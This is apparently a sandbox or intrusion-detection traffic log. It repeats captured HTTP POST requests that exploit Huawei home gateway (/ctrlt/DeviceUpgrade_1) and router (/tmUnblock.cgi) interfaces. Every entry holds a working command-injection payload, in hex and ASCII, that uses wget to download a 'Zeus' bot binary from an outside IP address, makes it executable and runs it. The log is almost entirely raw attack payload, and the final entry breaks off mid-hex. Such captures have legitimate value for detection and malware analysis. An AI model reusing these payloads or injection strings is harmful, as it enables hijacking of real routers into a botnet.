Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 